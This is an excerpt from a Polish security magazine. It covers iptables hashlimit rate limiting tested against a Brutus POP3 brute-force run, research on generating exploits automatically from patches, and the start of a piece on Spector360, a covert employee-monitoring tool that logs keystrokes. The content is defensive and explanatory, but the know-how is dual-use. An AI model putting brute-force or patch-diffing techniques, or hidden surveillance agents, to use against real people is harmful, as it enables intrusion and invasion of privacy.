nawet bardzo wymagających programów
p2p.
Ograniczenie nałożone jedynie na
nowe połączenia nie spowoduje spadku
transferu podczas pobierania danych z
Internetu, w skrajnych przypadkach może
jedynie wydłużyć czas rozpędzania się
transferu pliku.
Na koniec dodamy regułę, która
zablokuje resztę nie zakwalifikowanych
dotychczas połączeń.
iptables -A INPUT -i eth2 -p icmp -m
length --length 120:0xffff -j DROP
Hashlimit w akcji
Symulowanie włamania na skrzynkę
pocztową przy wykorzystaniu bardzo
starego ale wciąż popularnego narzędzia
brutus. Program korzystając z metody brute
force stara się odgadnąć hasło do skrzynki
e-mail (pop3 port tcp 110).
Jak widać program raportuje iż udaje
mu się przetestować 3,3 hasła na sekundę.
W tym samym czasie przeprowadziłem
pomiar ilości prób nawiązania połączenia z
serwerem pop3.
Jak widać do serwera dociera ok.
10 prób połączenia na sekundę. Teraz
wykonamy dokładnie ta samą operację z
tą różnicą iż serwer pop3 będzie chroniony
regułą hashlimit według wcześniejszych
opisów. Program brutus raportuje w tym
momencie test 0,13 hasła na sekundę,
bardzo wymownie przedstawia to ilość
prób połączenia z serwerem pop3.
Jak widać ograniczenie działa
doskonale, z 10 połączeń na sekundę
zeszliśmy do 5 na minutę, pozostaje
jedynie życzyć powodzenia włamywaczowi
który stara się włamać na nasze konto
e-mail metodą brute force. Oczywiście w
ten sposób zabezpieczamy się nie tylko
przed atakiem brute force czy słownikowym
ale także i może przede wszystkim
przed atakiem DoS. Podobne metody
zabezpieczeń oferują sprzętowe ściany
ogniowe, ale czy warto wydawać ogromne
kwoty na osprzęt z górnej pułki cenowej?
Myślę iż lepiej być administratorem, który
nie boi się wyzwań i nowych rozwiązań.
Mam nadzieję iż każdego przekonałem
do korzystania z hashlimit podczas
budowania własnych zapór ogniowych.
Podsumowanie
Jak widać, pomoc hashlimit przy tworzeniu
własnej ściany ogniowej jest nieoceniona,
zarówno w przypadku zapory broniącej
dostępu do pojedynczej maszyny jak i całej
sieci komputerów klienckich.
Życzę owocnych konfiguracji i wielu
pomysłów podczas dostrajania rozwiązań,
które maja ustrzec przed problemami
nasze sieci.
Jarosław Radziszewski
Jest absolwentem Politechniki Śląskiej, administratorem
sieci komputerowych. W wolnych chwilach stara się
prowadzić serwis www.antynet.pl. Obecnie pełni funkcję
Kierownika Działu Informatyki SPSK nr 1 im. Prof. S.
Szyszko ŚUM w Katowicach.
Kontakt z autorem: amon@debacom.pl
Rysunek 4.
Brutus bez hash
W Sieci
• http://www.netfilter.org – strona domowa projektu netfilter,
• http://pl.wikipedia.org/wiki/Atak_brute_force – opis ataku brute force,
• http://pl.wikipedia.org/wiki/DDoS – opis ataków DoS oraz DdoS,
•
http://antynet.pl – zagadnienia związane z pisaniem reguł iptables.
60
OBRONA
HAKIN9 9/2008
W
iele czasu w dyskusjach o
bezpieczeństwie informacyjnym zajęły
debaty o tym, co dokładnie miałby
zrobić uczciwy, dobroduszny człowiek w sytuacji,
gdy wykryje poważną podatność w popularnym
oprogramowaniu. Osoba niezorientowana w tego
typu rozważaniach mogłaby naiwnie zapytać:
No jak to co? Natychmiast zgłosić to autorom!
Zależy im na jakości swojego oprogramowania,
więc szybko przygotują poprawkę, dostarczą ją
użytkownikom i wszyscy będą szczęśliwi. Poza
– naturalnie – osobnikami, którzy również znali tę
podatność i wykorzystywali ją do swoich niecnych
celów, ale o to przecież właśnie chodzi.
Życie pokazało wielokrotnie, że sprawa
nie jest taka prosta. Zdarzało się nawet, że
osobom pragnącym pomóc producentom
oprogramowania czy administratorom danych
usług dziękowano poprzez... skierowanie
przeciwko nim zarzutów kryminalnych. Ujawnienie
podatności zawsze bije w czyjeś interesy, ma
konsekwencje nie tylko techniczne, ale także
marketingowe, polityczne, personalne. Często
wiąże się z sugerowaniem czyjejś niekompetencji
czy niedbalstwa. Zapewne dlatego nierzadko
zdarza się, że zgłoszony błąd jest ignorowany,
bagatelizowany czy też łatany w najtańszy
i najszybszy, ale niekoniecznie technicznie
najlepszy sposób.
Stąd też wzięła się koncepcja pełnego
ujawnienia (ang. full disclosure), publicznego
ujawnienia szczegółów podatności wszystkim
CEZARY G.
CEREKWICKI
Z ARTYKUŁU
DOWIESZ SIĘ
jakie efekty uboczne ma
udostępnienie poprawki
krytycznego błędu
bezpieczeństwa,
czy możliwe jest automatyczne
generowanie exploitów na
podstawie patchy,
jakie nowe wyzwania stawia
to przed producentami
oprogramowania.
CO POWINIENEŚ
WIEDZIEĆ
wskazana jest znajomość
podstaw informatyki.
zainteresowanym. Ma to w zamierzeniu wywrzeć
presję na dostawcy oprogramowania bądź
usługi, aby ten możliwie szybko – i możliwie
dobrze – poprawił błędy i uniemożliwił dalsze
ich wykorzystywanie. Podejście to jest mocno
kontrowersyjne, ponieważ dysponując taką
informacją nawet mało zaawansowani, ale pełni
złych chęci ludzie będą w stanie wyrządzić wiele
szkód. Nie mówiąc już o szkodach, które mogą
spowodować osoby bardziej zaawansowane
(choć nie mniej złośliwe).
Ściera się z nią koncepcja odpowiedzialnego
ujawnienia (ang. responsible disclosure), która
w założeniu jest bardzo podobna, ale zawiera
kilka istotnych różnic. Celem jest doprowadzenie
do poprawienia błędu przez odpowiedzialną
stronę przy możliwie niskich kosztach ubocznych.
Publicznie ujawniane są tylko ogólniki, producent
otrzymuje pełną wersję opisu luki oraz czas na
przygotowanie poprawki. Jeśli wykorzystanie
podatności daje się w jakiś sposób zablokować
(np. poprzez odpowiednie zmiany konfiguracyjne
albo inne tymczasowe rozwiązanie), adekwatne
instrukcje są od razu publicznie ujawniane. Na
przykład, gdyby odkryto podatność w danej
implementacji protokołu RPC, zaleconoby
administratorom zablokowanie tej usługi na
firewallu (co swoją drogą i tak powinni zrobić, jeśli
jej nie używają).
Oczywiście może się zdarzyć, że producent
jest zbyt niewrażliwy na kwestie związane z
bezpieczeństwem i nie będzie zainteresowany
Stopień trudności
Automatyczne
generowanie
exploitów
Dowiedz się jakie są efekty uboczne poprawek krytycznego błędu
bezpieczeństwa i uważaj bo atak na niezaktualizowaną instalację
jest banalnie prosty!
61
NOWY FRONT WYŚCIGU ZBROJEŃ
HAKIN9
9/2008
szybkim rozwiązaniem problemu. Dlatego
najczęstszym podejściem jest uprzedzenie,
że po upływie określonego czasu wszystkie
szczegóły dotyczące podatności zostaną
podane do publicznej wiadomości.
Piłeczka jest teraz po stronie
producenta. Załóżmy, że poprawka została
przygotowana. Powstaje jednak pytanie,
jak ją właściwie rozdystrybuować? Jak
się okazuje, pytanie jest tylko pozornie
banalne.
Patch jest groźny
Zacznijmy od prostej obserwacji. Poprawka
błędu krytycznego z punktu widzenia
bezpieczeństwa systemu zawiera w sobie
informację, z której można wywnioskować,
jaki błąd jest przez nią poprawiony. Jeśli
porównamy oryginalny plik z plikiem
zmodyfikowanym przez patch, możemy
odkryć problem, z którym autorzy
poprawki się zmagali. Na przykład, jeśli
analiza różnic wykaże, że w nowej wersji
kodu pojawił się fragment weryfikujący
długość wejścia i rzucający wyjątek w
przypadku, gdy jest on dłuższy niż jakaś
maksymalna dopuszczalna wielkość, to
można przypuszczać, że poprawiono
właśnie podatność typu buffer overflow.
Jeśli pojawił się kod obsługujący jakieś
konkretne dane wejściowe, to warto się
przyjrzeć, jak zareaguje na nie oryginalna
aplikacja.
Jest chyba oczywiste, jak z nowo
nabytą wiedzą postąpi czarny kapelusznik.
Od razu napisze exploita, przetestuje
go w swoim środowisku i wykorzysta
przeciwko systemowi, który jeszcze nie
zainstalował najnowszej poprawki. Wiele
aplikacji aktualizowanych jest ręcznie.
Napastnik zatem może mieć całkiem
dużo czasu na analizy, testy oraz szukanie
ofiar. Jednak nawet w przypadku, gdy
mowa o systemie posiadającym moduł
automatycznej aktualizacji, pomiędzy
momentem pojawienia się poprawki a jej
zainstalowaniem na danym komputerze
potrafi upłynąć bardzo dużo czasu.
Po pierwsze, komputery bywają
długotrwale wyłączone (np. stacjonarna
maszyna, której właściciel wyjechał
na narty). Po drugie wiele komputerów
(np. laptopy) nie zawsze ma połączenie
z Internetem, nawet jeśli są używane
systematycznie. Po trzecie, ciągle
pojawiają się w sieci maszyny ze starymi
wersjami oprogramowania, które np.
zostało zainstalowane z płyty DVD albo
podniesione z backupu typu Norton
Ghost i dopiero zostało podłączone do
Internetu w celu aktualizacji. Po czwarte,
nawet maszyny ciągle podłączone
do sieci mogą mieć różne ustawienia
automatycznej aktualizacji i np. sprawdzać
je raz w tygodniu. Po piąte, nawet gdyby
wszystkie maszyny zaczęły ściągać
poprawkę natychmiast po jej pojawieniu
się, to w przypadku popularnego
oprogramowania infrastruktura sieciowa
zapewne mocno ograniczyłaby
ilość jednoczesnych pobrań i część
użytkowników na pewno musiałaby trochę
dłużej poczekać na aktualizację.
Podsumowując, czas dystrybucji
poprawek zawsze będzie większy od
zera, podobnie jak czasowe okno
potencjalnego ataku. A nawet gdy już
większość użytkowników załata swoje kopie
oprogramowania, ciągle będą się pojawiać
w sieci maszyny podatne.
Rysunek 1.
Architektura klient-serwer
HOST
HOST
HOST
HOST
HOST
HOST
HOST
HOST
HOST
HOST
HOST
HOST
HOST
HOST
HOST
SERVER
Rysunek 2.
Architektura peer-to-peer
HOST
HOST
HOST
HOST
HOST
HOST
HOST
HOST
HOST
HOST
HOST
HOST
HOST
HOST
HOST
HOST
HOST
HOST
SERVER
SERVER
SERVER
SERVER
OBRONA
62
HAKIN9 9/2008
NOWY FRONT WYŚCIGU ZBROJEŃ
63
HAKIN9
9/2008
Dystrybucja poprawek
Wiele systemów informatycznych zawiera
moduł automatycznej aktualizacji.
Taki moduł regularnie sprawdza w
sieci, czy pojawiły się nowe poprawki
do chronionego systemu, następnie
ściąga je oraz instaluje. Dla napastnika
występuje tu kilka możliwych okazji do
nadużyć. Można spróbować podszyć
się pod serwer zawierający poprawki i
wystawić własną aktualizację, którą na
przykład będzie program przejmujący
kontrolę nad zainfekowanym przezeń
komputerem. Jedno z możliwych
podejść to zainfekowanie serwera DNS,
aby poprawny adres zaprowadził do
spreparowanej maszyny. Można się przed
tym zabezpieczyć poprzez używanie
adresów IP zamiast nazw domenowych,
a jeszcze lepszym rozwiązaniem jest
zastosowanie odpowiedniego certyfikatu.
Domena oraz odpowiadający jej numer
IP będą podpisane cyfrowo, a nad
bezpieczeństwem transakcji będzie czuwać
zaufana trzecia strona (firma certyfikująca,
np. VeriSign).
Większym problemem jest jednak
kiepska skalowalność klasycznej
architektury klient-serwer. Przy protokołach
takich, jak FTP czy HTTP rozkład obciążenia
sieci jest asymetryczny. Klienty rywalizują
o zasoby serwerów, które stanowią wąskie
gardło całego systemu. Klient klientowi
wilkiem jest. Nie mają możliwości pomóc
sobie wzajemnie, mogą natomiast sobie
przeszkadzać. Mirrorowanie serwerów
jest rozwiązaniem kiepsko się skalującym,
ponieważ o serwerach zwierciadlanych
trzeba wiedzieć aby z nich skorzystać, a
granulacja jest na poziomie całego pliku.
Przy co bardziej pechowym układzie może
się zdarzyć, że 80% downloaderów będzie
obciążać jeden serwer, podczas gdy pięć
jego mirrorów będzie pracować na ćwierć
gwizdka. Automatyczne przydzielanie
mirrora też jest jedynie najprostszym z
możliwych rodzajów load balancingu, bo
jest to tzw. connection-time load balancing,
a więc rozłożenie obciążenia w momencie
połączenia. Najczęściej wybierany jest
topologicznie najbliższy serwer. Ma to sens,
gdy rozkład topologiczny użytkowników
pobierających w danej chwili plik jest mniej
więcej taki, jak rozkład serwerów, ale gdy
np. w polskim portalu pojawi się news o
aktualizacji popularnego programu, to cały
ruch w rezultacie wygenerowany zostanie
skierowany do polskiego serwera, mimo że
w tym czasie w USA jest noc i ich serwery
się nudzą.
Szczytowym osiągnięciem w dziedzinie
rozkładania obciążenia są rozwiązania
typu peer-to-peer. Stanowią one odejście
od hierarchicznej architektury klient-
serwer : tu każdy jest jednocześnie
klientem i serwerem, choć istnieją też
serwery koordynujące. Klienty już nie
rywalizują, ale współpracują w ściąganiu
określonych plików. Oprogramowanie
klienckie i serwerowe sieci peer-to-
peer automatycznie tworzy i aktualizuje
rozproszoną bazę danych plików, pozwala
też na jej przeszukiwanie. Pliki dzielone
są na fragmenty i to na ich poziomie
odbywają się kluczowe operacje. Każdy
klient każdy ściągnięty przez siebie
fragment automatycznie udostępnia innym.
Dzięki temu plik sam się wielokrotnie
mirroruje, ale na poziomie swoich
fragmentów. W efekcie, gdy poziom
nasycenia sieci fragmentami będzie już
odpowiednio duży, kolejne klienty mogą
skompletować całość nigdy nie łącząc się
z oryginalnym źródłem i nigdy nie zajmując
jego zasobów.
Taka architektura jest jednocześnie
dużo bardziej odporna na wszelkiego
rodzaju awarie. Serwery koordynujące są
liczne, geograficznie odległe i całkowicie
ze sobą wymienne. Musi działać co
najmniej jeden z nich, by cała infrastruktura
funkcjonowała. Zadaniem koordynatora
jest wszystko poza samym procesem
pobierania – a więc ogół problematyki
synchronizacyjnej. Dzięki temu koordynator
jest w stanie obsłużyć znacznie więcej
klientów niż – w takich samych warunkach
– serwer FTP. Najcięższa forma
komunikacji, czyli sama wymiana plików,
odbywa się pomiędzy uczestnikami sieci,
nie obciążając serwerów.
Przy zastosowaniu sieci peer-to-
peer w tej samej jednostce czasu plik
rozpropaguje się na dużo większą liczbę
komputerów niż w przypadku architektury
klient-serwer. W kontekście skracania
czasu propagacji poprawek błędów
krytycznych ta ciekawa własność sieci
peer-to-peer wydaje się być szczególnie
interesująca.
Automatyczne
generowanie exploitów
W 2008 roku panowie Brumley,
Poosankam, Song oraz Zheng
opublikowali pracę pod tytułem Automatic
Patch-Based Exploit Generation is
Possible: Techniques and Implications
(automatyczne generowanie exploitów na
podstawie patchy jest możliwe: techniki i
zastosowania).
Problem postawiono następująco:
mając program P oraz jego poprawioną
wersję P', należy automatycznie wykryć,
Rysunek 3.
Program Bindiff pokazuje różnice pomiędzy różnymi wersjami plików
wykonywalnych
OBRONA
62
HAKIN9 9/2008
NOWY FRONT WYŚCIGU ZBROJEŃ
63
HAKIN9
9/2008
jaką podatność P poprawiono w P'
oraz stworzyć program próbujący ją
wykorzystać. Autorzy napisali prototyp
takiego programu i przetestowali go
na pięciu programach Microsoftu
aktualizowanych poprzez Windows Update.
Udało im się stworzyć kilka działających
exploitów, jednak ich najważniejszym
osiągnięciem było wykazanie, że tego typu
atak jest możliwy.
Za cel autorzy obrali sobie błędy
walidacji wejścia. Jak wiemy, wiele ataków
polega na podaniu na wejście programu
odpowiednio spreparowanych danych:
tak działa cała rodzina ataków typu buffer
overflow, cała rodzina różnego rodzaju
injections (SQL Injection, Code Injection,
PHP Injection, Shell Injection, Cross Site
Scripting itd.).
Prototyp analizuje plik oraz jego
poprawioną wersję i wyszukuje dodany
do niego kod weryfikujący. Szczególnie
skupiono się na bibliotekach, ponieważ
84% poprawek Microsoftu dotyczących
bezpieczeństwa, które przeanalizowali
badacze, dotyczyło bibliotek. Do
porównywania binarnych wersji
programów posłużono się programami
BinDiff oraz EBDS (w Ramce
W Sieci umieszczono linki do stron ich
producentów). Następnie program stara
się znaleźć wejście, które w poprawionej
wersji będzie odfiltrowane.
Innymi słowy, problem generowania
exploita został sprowadzony do
znalezienia w P' nowych testów wejścia i
wygenerowania programu podającego
takie wejście, jakie w poprawionej wersji
programu nie zostałoby zaakceptowane.
Naturalnie takie podejście nie gwarantuje,
że stworzony program będzie exploitem
z prawdziwego zdarzenia, będzie raczej
kandydatem na exploita, wymagającym
jeszcze przetestowania.
Autorom udało się na swoim prototypie
skutecznie wygenerować kilka sensownych
exploitów, z czego jeden z nich w zaledwie
30 sekund! Zważywszy, że prototypy nie są
raczej nigdy optymalizowane pod kątem
szybkości działania, jest to wynik robiący
wrażenie.
W Tabeli 1. zamieszczono przykład
poprawki zabezpieczającej przed błędem
przepełnienia zmiennej całkowitej. W
linii 5 dodano kod weryfikujący długość
zmiennej s i generujący błąd w przypadku,
gdy jest ona zbyt duża. Takich właśnie
sekwencji kodu poszukuje prototypowy
generator exploitów.
Cóż można zrobić?
Czas propagacji poprawek na pewno
można skrócić poprzez zastosowanie
automatycznej aktualizacji oraz sieci peer-
to-peer. Jednak o ile byśmy tego czasu
nie skrócili, zawsze zostanie go dość,
by przeprowadzić atak. Zaproponowano
jeszcze jedno rozwiązanie tego typu,
tj. minimalizujące wielkość okna ataku.
Akademicy w takich sytuacjach zawsze
zastanawiają się, czy dałoby się jakoś
posłużyć bogatym dorobkiem kryptografii.
No i oczywiście, dałoby się. Patche
miałyby być dystrybuowane w postaci
zaszyfrowanej. Dopiero po upływie
jakiegoś czasu, gdy można będzie
przypuszczać, że większość systemów już
ją ściągnęła, dystrybuowany byłby klucz.
Klucze, jak wiadomo, są bardzo małe
jak na standardy downloadu, więc ich
Rysunek 4.
Bindiff potrafi też pokazać wyniki w postaci diagramu
Rysunek 5.
Program eEye Binary Diffing Suite (EBDS) wyszukuje zmiany w kodzie
OBRONA
64
HAKIN9 9/2008
propagacja byłaby błyskawiczna. Wyścig
między napastnikiem a administratorami
systemów zacząłby się dopiero w
momencie udostępnienia klucza, więc z
pewnością byłby dramatycznie krótszy.
Minusem takiego podejścia jest
spowolnienie całego procesu propagacji
poprawek. Skorzystają na tym ci, którzy już
wcześniej znali błąd i aktywnie wykorzystują
go do prowadzenia nielegalnej działalności.
Dodatkowo nie da się nie zauważyć, że
wszystkie techniki sprowadzające się
do skracania okna ataku nie rozwiązują
problemu, tylko przenoszą go gdzie indziej.
Maszyna na stałe podłączona do sieci, o
ile nie nastąpi jakiś drastyczny postęp w
produkcji automatycznych generatorów
exploitów, może się czuć bezpieczna. Ale
co z pozostałymi przypadkami? Jeśli ktoś
rozpozna dziurę w systemie na podstawie
analizy poprawek, zawsze będzie mógł
zapolować na maszyny jej nie posiadające
– instalowane z CD/DVD, przywracane z
naiwnego backupu, podłączone do sieci
po jakimś okresie nieaktywności (sen,
wyjazdy itd.).
Kolejnym rozwiązaniem miałoby
być zaciemnianie kodu poprawek,
aby ich analiza była możliwie trudna
– zarówno w przypadku manualnym jak i
automatycznym, ale zwłaszcza tym drugim.
Jest to jednak trudne do przeprowadzenia.
Idea nie jest nowa, każdy producent
komercyjnego oprogramowania chętnie
zabezpieczyłby swoje produkty przed
analizą ich kodu, gdyby to było takie
proste. W przypadku walki z piractwem
chodzi jednak raczej o analizę manualną,
której na dłuższą metę zablokować się
nie da. W przypadku walki z automatami
analizującymi zmiany w kodzie można
zrobić dużo więcej. Automaty są
głupie i łatwiej je wyprowadzić w pole.
Wprowadzenie dużej liczby nieznacznych
zmian w kodzie z pewnością utrudniłoby
pracę co bardziej naiwnych implementacji.
Jednak pojawienie się z czasem
lepszych analizatorów, skupiających
się bardziej na warstwie semantycznej,
wymagałoby już bardziej wyrafinowanych
technik zaciemniających. Wydaje się
więc, że APEG może się okazać nowym
frontem wyścigu zbrojeń między
obrońcami systemów informatycznych oraz
pragnącymi je spenetrować napastnikami.
Autorzy pracy rozważali przede
wszystkim przypadek oprogramowania
closed source i analizy kodu
asemblerowego. W przypadku
oprogramowania FLOSS zagadnienie jest
o klasę trudniejsze, ponieważ napastnik ma
do dyspozycji nie tylko z natury niełatwy
w analizie kod wynikowy, ale również – a
wręcz przede wszystkim – kod źródłowy.
Zaciemnianie kodu źródłowego raczej
nie wchodzi w grę. Po pierwsze, byłoby
to strzelanie sobie w stopę: im kod jest
bardziej zaciemniony, tym trudnej jest
się w nim połapać nawet jego autorowi.
Programowanie jest obecnie wystarczająco
skomplikowane, by zapanowanie nad
dużym projektem i tak nie było zadaniem
łatwym. Po drugie, zaciemnianie kodu
źródłowego jest skrajnie sprzeczne z ideą
open source. Nie po to udostępnia się
wszystkim kod źródłowy, aby nikt nie był w
stanie go przeanalizować.
Zasada Kerckhoffsa mówi, że
kryptosystem powinien być bezpieczny
nawet wówczas, gdy napastnik dobrze
go zna. Innymi słowy, bezpieczeństwo
kryptosystemu powinno zależeć od
tajności łatwego do zmienienia klucza, a
nie tajności samego kryptosystemu, który
jest dużo trudniej modyfikować. Reguła
ta znakomicie daje się generalizować na
wszystkie systemy informatyczne i dlatego
leży ona u podstaw filozofii open source.
Z jednej strony może się więc wydawać,
że oprogramowanie FLOSS zawsze będzie
bardziej podatne na techniki APEG. Z drugiej
strony, jego ogólnie dość duża wrażliwość
na problematykę bezpieczeństwa i
związane z tym stosowanie ogólnych
zasad ograniczania efektów potencjalnych
kompromitacji w pewnym zakresie utrudnia
stosowanie wszelkiego rodzaju exploitów.
Ponadto nic nie stoi na przeszkodzie, by
metody aktualizacji typu apt-get wzbogacić
o omawiane wcześniej techniki obrony
przed APEG.
Podsumowanie
Brumley, Poosankam, Song oraz Zheng
udowodnili, że automatyczne generowanie
exploitów na podstawie analizy zawartości
patchy (APEG) jest możliwe. Ten wynik
stawia wyzwanie aktualnie stosowanym
rozwiązaniom automatycznej aktualizacji
oprogramowania: pojawiło się nowe
pole wyścigu zbrojeń w odwiecznej
wojnie informacyjnej. Możemy się
spodziewać powstania nowych, coraz
lepszych systemów APEG, a z drugiej
strony dalszego hardeningu systemów
automatycznej aktualizacji.
Cezary G. Cerekwicki
Autor jest z wykształcenia informatykiem i politologiem.
Pracował jako projektant, programista, administrator,
konsultant, tłumacz, koordynator międzynarodowych
projektów, dziennikarz i publicysta. Pisał programy w
dziesięciu językach programowania (od asemblerów po
języki skryptowe), w czterech systemach operacyjnych, na
dwóch platformach sprzętowych.
Kontakt z autorem: cerekwicki@tlen.pl
W Sieci
• Oryginalny artykuł o automatycznym generowaniu exploitów – http://www.cs.cmu.edu/
~dbrumley/pubs/apeg.html,
• Bindiff – program porównujący kody binarne programów – http://www.zynamics.com/
index.php?page=bindiff,
• EBDS – kolejne rozwiązanie znajdujące różnice między skompilowanymi programami –
http://research.eeye.com/html/tools/RT20060801-1.html.
Tabela 1.
Przykład programu oraz jego poprawki
Program oryginalny P
Program poprawiony P'
if ( inpu t % 2 == 0) goto 2 else goto 4 ;
if ( input % 2 == 0) goto 2 else goto 4 ;
s := input + 2;
s := input +2;
goto 5 ;
goto 5 ;
s := input + 3;
s := input +3;
<nop>
if ( s > input ) goto 6 else goto ERROR;
ptr := realloc ( ptr , s ) ;
ptr := realloc ( ptr , s ) ;
dalsze operacje na wskaźniku ptr
dalsze operacje na wskaźniku ptr
66
BEZPIECZNA FIRMA
HAKIN9 9/2008
I
nformatyka śledcza na rynku polskim jest
stosunkowo nową dziedziną. Wśród osób, które
spotkały się z tym pojęciem, występuje bardzo
niska świadomość odnośnie możliwości przez nią
oferowanych. A przecież wyciek istotnych informacji
jest obecnie największym zagrożeniem dla
biznesu. Mówiąc jednak wyciek, na ogół myślimy
o włamaniu do sieci lub popularnym ostatnio
zagrożeniu tzw. malwarem. Często zapominamy,
że ponad 75% informacji, które wyciekły w 2007
roku z firm, zostało skradzionych przez nielojalnych
pracowników. Tego typu problemami zajmuje się
informatyka śledcza i dedykowane jej rozwiązania.
Według badań zawartych m.in. w raportach
Forrestera, wykradzione informacje w prawie
połowie przypadków opuszczają firmę na różnego
rodzaju urządzeniach przenośnych, takich jak:
klucze USB, odtwarzacze MP3, karty pamięci,
urządzenia PDA oraz telefony komórkowe. W
mniejszym stopniu dane wyciekają również na
laptopach oraz nośnikach optycznych CD/DVD.
Oczywiście także Internet wykorzystywany jest
w tym celu z powodzeniem, bowiem oferuje on
wiele usług umożliwiających przesłanie poufnych
informacji osobom trzecim. Są to najczęściej:
poczta internetowa, serwery FTP, wirtualne dyski
oraz inne oprogramowanie umożliwiające
przesyłanie tekstu bądź plików. Dobrym
przykładem są również komunikatory internetowe,
zazwyczaj nadmiernie pochłaniające czas
przeznaczony na pracę i pozwalające na szybki
transfer wiedzy poza firmę.
PIOTR FAJ
Z ARTYKUŁU
DOWIESZ SIĘ
o problemie wyciekających
wewnętrznych danych,
o budowie i funkcjonalności
oprogramowania platformy
informatyki śledczej -
Spector360,
jak w intranecie odnaleźć ślady
naruszeń bezpieczeństwa
informacji.
CO POWINIENEŚ
WIEDZIEĆ
powinieneś znać podstawy
zasad bezpieczeństwa
informacji,
powinieneś znać podstawy
działania sieci komputerowej w
organizacji.
Oczywiście, w tym momencie można
powiedzieć: wyłączmy USB, zablokujmy
komunikatory, filtrujmy pocztę. Ale czy zawsze jest
to możliwe? Trudno ograniczyć administratorów
lub grafików odpowiedzialnych za nasze strony
internetowe, a wręcz nie da się tego zrobić np.
w przypadku outsourcingu niektórych usług
związanych z naszymi serwerami. Co więcej, brak
możliwość korzystania z niektórych programów bądź
urządzeń peryferyjnych może znakomicie utrudnić
pracę oraz zmniejszyć wydajność pracownika.
Specjaliści od informatyki śledczej potrafią
gromadzić dowody zdarzeń występujących
w świecie elektronicznym i większość
problemów związanych z nieuprawnionym
udostępnieniem informacji zapewne znajdzie swoje
odzwierciedlenie w systemie sprawcy. Dzięki temu
możliwe będzie zgromadzenie dowodów nawet do
celów postępowania sądowego. Ale informatyka
śledcza zakłada również rozwiązania prewencyjne,
które pozwalają zapobiegać takim incydentom,
a w przypadku ich wystąpienia – potrafiące szybko
odpowiedzieć na pytanie: Jak to się stało?
Idea monitoringu
W świecie niewirtualnym monitoring nie jest niczym
nadzwyczajnym. Kamery są wszędzie, obserwowane
jest niemal wszystko. Również świat wirtualny nie
jest pozbawiony tej idei. Monitorujemy procesy, ruch
sieciowy, dostęp do dokumentów. Ale takie analizy są
ślepe na nadużycia związane z np. wykorzystaniem
mechanizmu kopiuj-wklej w Windows. Jedynie
Stopień trudności
Śledztwo
elektroniczne
Liczba zagrożeń pochodzących z sieci Internet, które mogłyby
wpłynąć negatywnie na wizerunek firmy, z roku na rok się
powiększa. Warto również zauważyć, że ślady po takich
zdarzeniach mają wspólną cechę – nie wiadomo, kto i jak to
zrobił.
67
ŚLEDZTWO ELEKTRONICZNE
HAKIN9
9/2008
obserwacja na poziomie użytkownika
pozwoliłaby prześledzić taki incydent – to
jedyne miejsce, gdzie wszystko widać.
Na łamach Hakin9 pisaliśmy już o
platformach śledczych typu NetWitness
czy EnCase Enterprise, które zajmowały się
analizą ruchu sieciowego i gromadzeniem
dowodów elektronicznych na poziomie
serwerów i stacji roboczych. Informatyka
śledcza dostarcza również inny rodzaj
platform, opierający się o bezpośrednią
analizę zachowań użytkownika stacji, zbliżoną
do monitoringu wizualnego w skali Enterprise.
Zadaniem takich platform jest
gromadzenie materiału na temat
uruchamianych programów, wprowadzanego
tekstu, przesyłanych wiadomości email,
przetwarzanych dokumentów oraz wielu
innych czynności wykonywanych przez
pracowników na komputerach firmowych.
Zapisane na tej podstawie informacje
umożliwiają przeprowadzenie analiz, które
pozwolą określić punkt wycieku informacji.
Dzięki temu możliwe jest zgromadzenie
dowodów nielojalności – nawet w znaczeniu
procesowym – oraz zmniejszenie strat
organizacji.
Spełnienie wymogów informatyki
śledczej w zakresie takich narzędzi wiąże
się z koniecznością gromadzenia materiału
w sposób bezpieczny, niezauważalny i nie
obciążający, zarówno z punktu widzenia stacji,
jak i ruchu sieciowego. Wartość dowodowa
wymaga, aby materiał był zapisywany
w trybie read-only, zgodnie z zasadą
– widzę wszystko, nie zmieniam nic. Zakres
gromadzonych informacji ze stacji roboczej
objętej monitorowaniem powinien ograniczać
się do poszczególnych usług, np. poczty
internetowej, komunikatorów czy np. plików
przesyłanych za pomocą protokołu FTP.
Spector360
Niejako wzorcowym rozwiązaniem
spełniającym takie kryteria jest Spector360.
Wieloelementowa architektura odpowiada
za bezpieczeństwo dostępu i niezmienność
zapisanych informacji w rozumieniu
informatyki śledczej. Platforma pracuje
w relacji klient-serwer. Sam klient nie jest
widoczny dla użytkownika pracującego na
monitorowanym komputerze. Użytkownik
nie posiada możliwości jego wyłączenia
czy też odinstalowania. Pozostałe trzy
elementy umożliwiają przechwytywanie,
segregowanie i gromadzenie danych
przesłanych przez monitorowane
komputery (Rysunek 1).
Data Vault SQL Server & Database
– odpowiada za przechwytywanie informacji
wysyłanych z monitorowanych komputerów.
Data Vault pozwala na zdefiniowanie udziałów
dyskowych, które będą wykorzystane w celu
gromadzenia takich danych, jak: zrzuty pulpitu,
załączniki przesyłane w wiadomościach email
czy pliki przenoszone pomiędzy udziałami
dyskowymi bądź różnymi usługami.
Control Center – odpowiada za
konfigurację, zarządzanie oraz instalację
agentów, którzy mają pracować dla nas na
wybranych komputerach. Aplikacja pozwala
na realizację wszelkich operacji związanych
z agentem pracującym na monitorowanym
komputerze (Rysunek 2).
Dashboard – jest konsolą śledczą
pozwalającą na analizę zgromadzonych
danych poprzez wykorzystanie
następujących opcji:
• Quick View, czyli szybkie przeglądanie
zebranych zdarzeń dotyczących
wykorzystania sieci komputerowej,
programów, dokumentów bądź innych
czynności mających miejsce na
monitorowanych komputerach.
• Data Explorer – dzięki tej opcji można
przeglądnąć dane zgromadzonych w
bazie.
• User Explorer – to kontrolka
umożliwiająca przeprowadzenie śledztwa,
sprawdzenie, co dokładnie wykonywał
wybrany użytkownik pracujący na
monitorowanym komputerze.
• Reports – tworzenie raportów na temat
działalności użytkowników, wybranych
programów działających na określonych
komputerach, wprowadzanych znaków
oraz wielu innych zdarzeń, jakie rejestruje
agent na monitorowanym komputerze.
• Search – kontrolka pozwalająca na
przeszukiwanie danych zgromadzonych
w SQL Server & Database pod kątem
ściśle określonych zdarzeń, które mogą
wydawać się podejrzane.
• Management – pozwala na
zarządzanie elementami wchodzącymi
w skład programu Spector360. Jedną
z ważniejszych funkcji tej kontrolki jest
możliwość zarządzania usługą Web
Filter Server (Rysunek 3).
Śledztwo
Jedna z większych polskich firm IT miała
problemy z regularnymi wyciekami
informacji z jednego z serwerów. Wstępne
dochodzenie pozwoliło określić podejrzaną
grupę w obrębie użytkowników mobilnych,
których komputery nie funkcjonowały na
co dzień w firmowej sieci komputerowej.
W celu korzystania z zasobów firmowych
mobilni pracownicy łączyli się za pomocą
